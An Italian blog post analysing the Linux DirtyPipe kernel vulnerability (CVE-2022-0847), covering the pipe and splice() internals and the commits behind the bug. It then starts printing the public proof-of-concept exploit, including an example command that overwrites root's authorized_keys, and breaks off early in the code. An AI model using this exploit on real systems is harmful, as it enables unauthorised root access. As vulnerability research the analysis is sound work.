
Analisi approfondita e proof-of-concept exploit per CVE-2022-0847 (DirtyPipe), una vulnerabilità del kernel Linux che consente la sovrascrittura arbitraria di file e l'escalation dei privilegi locali tramite flag di buffer pipe non inizializzati.
title: Analisi della vulnerabilità CVE-2022-0847 (DirtyPipe) (privilegio locale) date: 2022-03-08 14:41:20 tags: - Elevazione di privilegi Linux categories: - Ricerca sulla sicurezza
CVE-2022-0847è una vulnerabilità nel kernel Linux dalla versione5.8in poi. Un attaccante può sfruttarla per sovrascrivere dati arbitrari in file di sola lettura. Ciò consente di elevare i privilegi normali aroot, poiché un processo non privilegiato può iniettare codice in un processo root.
CVE-2022-0847è simile aCVE-2016-5195 “Dirty Cow”(elevazione di privilegi sporca) ed è facile da sfruttare; l'autore della vulnerabilità l'ha chiamataDirty Pipe
Questo blog è principalmente utilizzato per registrare e studiare eventi di sicurezza e articoli sulle vulnerabilità, a scopo di apprendimento e test. La responsabilità per qualsiasi conseguenza diretta o indiretta e danno derivante dalla diffusione o dall'utilizzo delle informazioni o degli strumenti forniti in questo articolo è esclusivamente dell'utente; l'autore dell'articolo non si assume alcuna responsabilità.
Livello di pericolo: Alto
POC/EXP: Pubblicamente disponibile
Versioni interessate: kernel Linux 5.8 e successive
Nota: versioni sicure: kernel Linux >= 5.16.11, kernel Linux >= 5.15.25, kernel Linux >= 5.10.102
Qui vengono brevemente descritti i dettagli della vulnerabilità.
Alcuni concetti:
Linux pipe: half-duplex, il flusso di dati può andare solo da un'estremità all'altra
pipe_buffer: buffer della pipe, utilizzato per memorizzare temporaneamente i dati scritti nella pipe; letture e scritture avvengono nel buffer della pipe
page: frame di pagina, 4KB, ha una relazione uno a uno con il buffer della pipe
pipe_buf_operations: utilizzato per memorizzare il set di operazioni del buffer della pipe
can_merge: flag di unione; se impostato a 1, i dati possono essere uniti al buffer esistente (se possibile per una pipe generica in lettura/scrittura). Se impostato a 0, viene sempre utilizzato un nuovo segmento di pagina della pipe per i nuovi dati.
splice(): sposta dati tra due descrittori di file; come la funzione sendfile(), supporta le pipe ed è zero-copy. Collega la cache di pagina del file al buffer della pipe, quindi le scritture influenzano entrambi simultaneamente. Durante il controllo dei permessi, verifica solo se il file di origine ha permessi di lettura; non controlla i permessi di scrittura. La catena di chiamate approssimativa è:
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

Storia del rilevamento dell'"unione" nelle pipe Linux:
Qui analizziamo brevemente il codice secondo le spiegazioni dell'autore.
I sistemi Linux originali, come descritto nei concetti, avevano il flag can_merge, usato per indicare se i nuovi dati potevano essere scritti nel buffer della pipe esistente.
Commit 5274f052e7b3 ha aggiunto la funzione splice(), ma la verifica non è cambiata; la disponibilità del buffer della pipe è ancora determinata dal flag can_merge.


Commit 01e7187b4119 ha smesso di usare il flag can_merge e ha iniziato a confrontare il puntatore a struct pipe_buf_operations. Poiché solo il tipo anon_pipe_buf_ops permette la scrittura di nuovi dati, è sufficiente verificare che sia di quel tipo.


Commit 241699cd72a8 ha aggiunto due nuove funzioni che possono allocare nuovi struct pipe_buf_operations, ma non inizializzano il loro flag flags.

Commit f6dd975583bd ha convertito questo confronto di puntatori in un confronto del flag PIPE_BUF_FLAG_CAN_MERGE per ogni buffer, e ha permesso di iniettare PIPE_BUF_FLAG_CAN_MERGE, rimuovendo al contempo la definizione e l'uso di altri tipi di buf_ops.



Pertanto l'autore propone il seguente vettore di sfruttamento:
PIPE_BUF_FLAG_CAN_MERGE su pipe_buffer.splice; a questo punto splice collega il buffer della pipe alla cache di pagina.write chiama infine copy_page_from_iter() per la scrittura, e grazie al flag PIPE_BUF_FLAG_CAN_MERGE, la scrittura avviene direttamente.Analisi dell'Exploit
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort(); // 创建p[0]和p[1]分别指向管道两端。前者读,后者写